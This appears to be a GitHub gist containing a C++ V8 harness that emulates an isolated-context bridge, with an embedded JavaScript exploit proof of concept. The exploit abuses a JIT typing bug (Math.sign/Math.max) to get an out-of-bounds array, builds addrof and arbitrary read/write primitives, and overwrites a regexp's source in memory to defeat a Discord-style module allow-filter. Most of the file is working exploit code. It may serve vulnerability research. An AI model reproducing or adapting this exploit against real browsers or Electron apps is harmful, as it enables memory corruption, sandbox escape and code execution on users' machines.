-
-
Save msrkp/6853ffb8d0cb59403744211c7aba8e66 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <libplatform/libplatform.h> | |
#include <v8.h> | |
#include <iostream> | |
namespace my_bridge { | |
const int kMaxRecursion = 1000; | |
bool DeepFreeze(const v8::Local<v8::Object>& object, | |
v8::Local<v8::Context> context) { | |
v8::Local<v8::Array> property_names = | |
object->GetOwnPropertyNames(context).ToLocalChecked(); | |
for (uint32_t i = 0; i < property_names->Length(); ++i) { | |
v8::Local<v8::Value> child = | |
object->Get(context, property_names->Get(context, i).ToLocalChecked()) | |
.ToLocalChecked(); | |
if (child->IsObject()) { | |
DeepFreeze(child.As<v8::Object>(), context); | |
} | |
} | |
return object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen) | |
.ToChecked(); | |
} | |
v8::MaybeLocal<v8::Value> PassValueToOtherContext( | |
v8::Local<v8::Context> source_context, | |
v8::Local<v8::Context> destination_context, v8::Local<v8::Value> value) { | |
v8::Context::Scope destination_scope(destination_context); | |
if (value->IsFunction()) { | |
v8::Local<v8::Function> original_func = value.As<v8::Function>(); | |
return v8::MaybeLocal<v8::Value>( | |
v8::Function::New(destination_context, | |
[](const v8::FunctionCallbackInfo<v8::Value>& info) { | |
info.GetReturnValue().Set( | |
v8::String::NewFromUtf8(info.GetIsolate(), | |
"Proxy function called") | |
.ToLocalChecked()); | |
}) | |
.ToLocalChecked()); | |
} | |
if (value->IsObject()) { | |
v8::Local<v8::Object> obj = value.As<v8::Object>(); | |
DeepFreeze(obj, destination_context); | |
return obj; | |
} | |
return v8::MaybeLocal<v8::Value>(value); | |
} | |
void ExposeInMainWorld(v8::Isolate* isolate, | |
v8::Local<v8::Context> main_context, | |
v8::Local<v8::Object> object, const std::string& name) { | |
v8::Context::Scope main_scope(main_context); | |
main_context->Global() | |
->Set(main_context, | |
v8::String::NewFromUtf8(isolate, name.c_str()).ToLocalChecked(), | |
object) | |
.Check(); | |
} | |
} // namespace my_bridge | |
void ConsoleLog(const v8::FunctionCallbackInfo<v8::Value>& args) { | |
if (args.Length() < 1) return; | |
v8::String::Utf8Value str(args.GetIsolate(), args[0]); | |
std::cout << *str << std::endl; | |
} | |
void SetUpConsole(v8::Isolate* isolate, v8::Local<v8::Context> context) { | |
v8::Context::Scope context_scope(context); | |
v8::Local<v8::Object> console = v8::Object::New(isolate); | |
console | |
->Set(context, v8::String::NewFromUtf8(isolate, "log").ToLocalChecked(), | |
v8::Function::New(context, ConsoleLog).ToLocalChecked()) | |
.Check(); | |
context->Global() | |
->Set(context, | |
v8::String::NewFromUtf8(isolate, "console").ToLocalChecked(), | |
console) | |
.Check(); | |
} | |
void InitializeContextBridge(v8::Isolate* isolate) { | |
v8::HandleScope handle_scope(isolate); | |
auto main_context = v8::Context::New(isolate); | |
SetUpConsole(isolate, main_context); | |
v8::Global<v8::Context> main_context_global(isolate, main_context); | |
isolate->SetData(0, &main_context_global); | |
auto isolated_context = v8::Context::New(isolate); | |
SetUpConsole(isolate, isolated_context); | |
v8::Context::Scope isolated_scope(isolated_context); | |
isolated_context->Global() | |
->Set(isolated_context, | |
v8::String::NewFromUtf8(isolate, "ExposeInMainWorld") | |
.ToLocalChecked(), | |
v8::Function::New( | |
isolated_context, | |
[](const v8::FunctionCallbackInfo<v8::Value>& args) { | |
if (args.Length() < 2 || !args[0]->IsString() || | |
!args[1]->IsObject()) { | |
args.GetIsolate()->ThrowException( | |
v8::String::NewFromUtf8(args.GetIsolate(), | |
"Invalid arguments") | |
.ToLocalChecked()); | |
return; | |
} | |
v8::Isolate* isolate = args.GetIsolate(); | |
v8::String::Utf8Value name(isolate, args[0]); | |
v8::Local<v8::Object> object = args[1].As<v8::Object>(); | |
v8::Local<v8::Context> main_context = | |
v8::Local<v8::Context>::New( | |
isolate, *static_cast<v8::Global<v8::Context>*>( | |
isolate->GetData(0))); | |
my_bridge::ExposeInMainWorld(isolate, main_context, object, | |
*name); | |
}) | |
.ToLocalChecked()) | |
.Check(); | |
const char* isolated_code = R"( | |
console.log("In Isolated Context:"); | |
var regexp = /^discord_[a-z0-9_-]+$/; | |
%DebugPrint(regexp); | |
%DebugPrint(regexp.source); | |
function requireModule(name) { | |
if (regexp.test(name) && name !== 'erlpack') { | |
return false; | |
} | |
return true; | |
} | |
const myObject = { name: "isolated_object", requireModule:requireModule} | |
ExposeInMainWorld("exposedObject", myObject); | |
%DebugPrint(myObject); | |
)"; | |
v8::Local<v8::String> source = | |
v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked(); | |
v8::Local<v8::Script> script; | |
if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) { | |
std::cerr << "Failed to compile isolated context script." << std::endl; | |
return; | |
} | |
script->Run(isolated_context).ToLocalChecked(); | |
const char* main_code = R"( | |
console.log("In Main Context:"); | |
let conversion_buffer = new ArrayBuffer(8); | |
let float_view = new Float64Array(conversion_buffer); | |
let int_view = new BigUint64Array(conversion_buffer); | |
BigInt.prototype.hex = function() { | |
return '0x' + this.toString(16); | |
}; | |
BigInt.prototype.i2f = function() { | |
int_view[0] = this; | |
return float_view[0]; | |
} | |
Number.prototype.f2i = function() { | |
float_view[0] = this; | |
return int_view[0]; | |
} | |
function gc() { | |
for(let i=0; i<((1024 * 1024)/0x10); i++) { | |
var a = new String(); | |
} | |
} | |
function f(a) { | |
let x = -1; | |
if (a) x = 0xFFFFFFFF; | |
let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1))); | |
oob_smi.pop(); | |
let oob_double = [3.14, 3.14]; | |
let arr_addrof = [{}]; | |
let aar_double = [2.17, 2.17]; | |
let www_double = new Float64Array(0x20); | |
return [oob_smi, oob_double, arr_addrof, aar_double, www_double]; | |
} | |
// gc(); | |
console.log(11) | |
for (var i = 0; i < 0x10000; ++i) { | |
f(false); | |
} | |
let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true); | |
console.log("[+] oob_smi.length = " + oob_smi.length); | |
oob_smi[14] = 0x1234; | |
console.log("[+] oob_double.length = " + oob_double.length); | |
let primitive = { | |
addrof: (obj) => { | |
arr_addrof[0] = obj; | |
return (oob_double[8].f2i() >> 32n) - 1n; | |
}, | |
half_aar64: (addr) => { | |
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n) | |
| ((addr - 0x8n) | 1n)).i2f(); | |
return aar_double[0].f2i(); | |
}, | |
half_aaw64: (addr, value) => { | |
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n) | |
| ((addr - 0x8n) | 1n)).i2f(); | |
aar_double[0] = value.i2f(); // Writes `value` at `addr | |
}, | |
full_aaw: (addr, values) => { | |
let offset = -1; | |
for (let i = 0; i < 0x100; i++) { | |
if (oob_double[i].f2i() == 8n*0x20n | |
&& oob_double[i+1].f2i() == 0x20n) { | |
offset = i+2; | |
break; | |
} | |
} | |
if (offset == -1) { | |
console.log("[-] Bad luck!"); | |
return; | |
} else { | |
console.log("[+] offset = " + offset); | |
} | |
oob_double[offset] = addr.i2f(); | |
for (let i = 0; i < values.length; i++) { | |
console.log(i, www_double[i].f2i().hex(), values[i].f2i().hex()); | |
www_double[i] = values[i]; | |
} | |
} | |
}; | |
exp_addrof = primitive.addrof(exposedObject); | |
console.log(exp_addrof.hex()); | |
exp_r = primitive.half_aar64(exp_addrof) | |
console.log(111) | |
source_addrof = (exp_r &0xffffffffn) + 353016n; | |
console.log("[+] source_addrof : " +source_addrof.hex()); | |
regexp_source = primitive.half_aar64(source_addrof+8n+4n); | |
console.log("[+] regexp_source_str: "+regexp_source.hex()); | |
primitive.full_aaw(0x16bf081dee29n+8n, 0x64726f6373696444n); | |
regexp_source = primitive.half_aar64(source_addrof+8n+4n); | |
console.log("[+] after regexp_source_str: "+regexp_source.hex()); | |
%DebugPrint(exposedObject); | |
console.log(exposedObject.requireModule('erlpack')); | |
)"; | |
v8::Local<v8::String> main_source = | |
v8::String::NewFromUtf8(isolate, main_code).ToLocalChecked(); | |
v8::Local<v8::Script> main_script; | |
if (!v8::Script::Compile(main_context, main_source).ToLocal(&main_script)) { | |
std::cerr << "Failed to compile main context script." << std::endl; | |
return; | |
} | |
main_script->Run(main_context).ToLocalChecked(); | |
} | |
int main(int argc, char* argv[]) { | |
// Set V8 flags to increase memory limits and allow native syntax | |
const char* flags = | |
"--max-old-space-size=2048 --max-semi-space-size=64 " | |
"--allow-natives-syntax"; | |
v8::V8::SetFlagsFromString(flags); | |
v8::V8::SetFlagsFromString(flags); | |
v8::V8::InitializeICUDefaultLocation(argv[0]); | |
v8::V8::InitializeExternalStartupData(argv[0]); | |
std::unique_ptr<v8::Platform> platform = v8::platform::NewDefaultPlatform(); | |
v8::V8::InitializePlatform(platform.get()); | |
v8::V8::Initialize(); | |
v8::Isolate::CreateParams create_params; | |
create_params.array_buffer_allocator = | |
v8::ArrayBuffer::Allocator::NewDefaultAllocator(); | |
v8::Isolate* isolate = v8::Isolate::New(create_params); | |
{ | |
v8::Isolate::Scope isolate_scope(isolate); | |
InitializeContextBridge(isolate); | |
} | |
isolate->Dispose(); | |
v8::V8::Dispose(); | |
v8::V8::ShutdownPlatform(); | |
delete create_params.array_buffer_allocator; | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment